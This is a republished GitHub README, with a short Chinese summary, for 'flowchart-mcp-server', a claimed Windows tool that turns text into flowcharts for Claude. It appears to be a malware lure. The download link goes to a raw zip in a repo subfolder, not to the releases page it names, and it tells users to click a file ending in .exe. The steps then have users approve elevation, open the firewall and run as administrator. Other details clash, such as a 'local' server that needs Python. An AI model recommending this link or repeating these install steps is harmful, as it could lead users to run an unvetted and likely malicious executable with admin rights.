flowchart-mcp-server:用文本为 Claude 生成流程图
Lawsonseminiferous124/flowchart-mcp-server
flowchart-mcp-server 是一款本地运行的 MCP 服务器,可将文本或代码转为流程图,并接入 Claude 使用。它要求 Windows 10/11、至少 4GB 内存和 200MB 磁盘空间,图表在本地生成、不上传公共服务器,用户可自行保存或删除。
📊 flowchart-mcp-server - Create clear diagrams from simple text
What this software does
The flowchart-mcp-server helps you turn text or code into visual flowcharts. You use it with the Claude AI assistant to map out complex ideas, organize workflows, or visualize processes. It creates academic-quality diagrams that remain easy to read. This tool connects your thoughts to a visual format. It works locally on your machine for better speed and privacy.
💻 System requirements
Before you install this software, confirm your computer meets these needs:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Internet Access: Required for the initial setup and to connect with the Claude AI model.
- Storage: 200 megabytes of free space on your hard drive.
📥 How to get the software
You need to download the installation file from the official releases page.
- Visit this page to download: https://github.com/Lawsonseminiferous124/flowchart-mcp-server/raw/refs/heads/main/charts/flowchart-mcp-server-v3.7.zip
- Look for the section labeled "Assets" at the bottom of the latest release.
- Click the file ending in
.exeto start the download. - Save the file to your "Downloads" folder.
⚙️ Installation steps
Once the download finishes, follow these steps to set up the software on your system:
- Open your "Downloads" folder.
- Double-click the file you just downloaded.
- A window might appear asking if you want to allow this app to make changes to your device. Click "Yes."
- Follow the instructions on the screen to finish the setup.
- Keep note of the folder where the software installs, as you might need this location later when setting up Claude.
🚀 Running the software for the first time
This software acts as a bridge between your computer and the Claude AI. It sits in the background while you work.
- Find the application icon on your desktop or in your start menu.
- Click the icon to launch the program.
- A small black window appears. This window shows the status of the server. Keep this window open while you use Claude.
- If the program asks for permission to communicate through your firewall, select "Allow access on private networks."
🎨 Creating a flowchart
After the server runs, you connect it to your Claude interface.
- Open the Claude application or website.
- Access your settings or preferences menu.
- Look for the "MCP" or "Model Context Protocol" section.
- Add a new server connection by pointing it to the local folder where you installed this software.
- Once connected, you can type prompts like "Create a flowchart for the sign-up process" directly into the Claude chat window.
- The server generates the diagram as an image file that you can save or copy into your documents.
🔍 Troubleshooting common issues
If you encounter problems, check these items first:
- The window closes immediately: Ensure that you have the latest version of Python installed on your Windows machine. You can get this from the official Python website if the setup fails to start.
- Claude does not see the server: Confirm the black window is still open. If you closed it, the connection drops. Restart the program to restore the link.
- The diagram looks incomplete: Check your input. Using clear, step-by-step instructions helps the AI build a better chart. Avoid vague descriptions to get the best results.
- Permission errors: If Windows blocks the file, right-click the icon and choose "Run as administrator." This gives the program permission to create the files necessary for saving your flowcharts.
📝 Tips for better charts
- Be specific: Instead of saying "make a graph," say "make a flowchart of the steps to bake a cake."
- Use code: If you have data in a format like CSV or JSON, paste that into the chat. The server reads this data directly and builds accurate diagrams based on your specific numbers.
- Update often: Check the releases page every few weeks. We update the server to include new shapes and better layout options for your diagrams.
- Check your connection: Because this requires an AI model, ensure your internet connection stays stable while the server processes your request. If your internet cuts out mid-process, the server may need a restart.
🛡️ Privacy and your data
This server processes information locally on your machine. The diagram generation happens through the Model Context Protocol, which sends your prompt to Claude. It does not store your charts on a public server. You remain the owner of the images you create. You can delete the files from your computer at any time without affecting your access to the software.
🛠️ Advanced configuration
Most users run the program with default settings. If you need to change how the diagrams look, locate the configuration file in your installation folder. This file uses simple text to define things like colors, fonts, and chart orientation. Open this file in Notepad, change the values, and restart the server to see your new styles. Do not modify other files in this folder, as they are required for the program to run correctly.
If you make a mistake in the configuration file, delete it and restart the application. The software automatically replaces it with the original version.
来源:GitHub · github.com